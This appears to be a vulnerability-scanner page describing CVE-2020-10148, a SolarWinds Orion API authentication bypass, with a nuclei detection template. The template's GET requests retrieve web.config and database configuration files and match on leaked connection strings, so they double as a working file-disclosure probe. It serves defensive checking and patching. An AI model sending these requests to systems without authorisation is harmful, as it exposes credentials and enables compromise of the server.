SolarWinds Orion API - Auth Bypass

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

92%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

SolarWinds Orion API is vulnerable to an authentication bypass vulnerability that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the SolarWinds Orion system.

Fix

Apply the necessary patches or updates provided by SolarWinds to fix the authentication bypass vulnerability.

How to confirm it

Send: GET {{BaseURL}}/web.config.i18n.ashx?l={{string}}&v={{string}} ; GET {{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l={{string}}&v={{string}}
Positive when: contains "SolarWinds.Orion.Core." or "Connection String" AND contains in header "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2020-10148 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-10148

info:
  name: SolarWinds Orion API - Auth Bypass
  author: dwisiswant0
  severity: critical
  description: |
    SolarWinds Orion API is vulnerable to an authentication bypass vulnerability that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the SolarWinds Orion system.
  remediation: |
    Apply the necessary patches or updates provided by SolarWinds to fix the authentication bypass vulnerability.
  reference:
    - https://kb.cert.org/vuls/id/843464
    - https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/solarwinds-lfi-cve-2020-10148.yaml
    - https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965
    - https://twitter.com/0xsha/status/1343800953946787847
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10148
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10148
    cwe-id: CWE-287,CWE-288
    epss-score: 0.9198
    epss-percentile: 0.99821
    cpe: cpe:2.3:a:solarwinds:orion_platform:2019.4:hotfix5:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: solarwinds
    product: orion_platform
  tags: cve2020,cve,solarwinds,rce,auth-bypass,kev,vkev,vuln
variables:
  string: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/web.config.i18n.ashx?l={{string}}&v={{string}}"
      - "{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l={{string}}&v={{string}}"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SolarWinds.Orion.Core."
          - "Connection String"
        condition: or

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from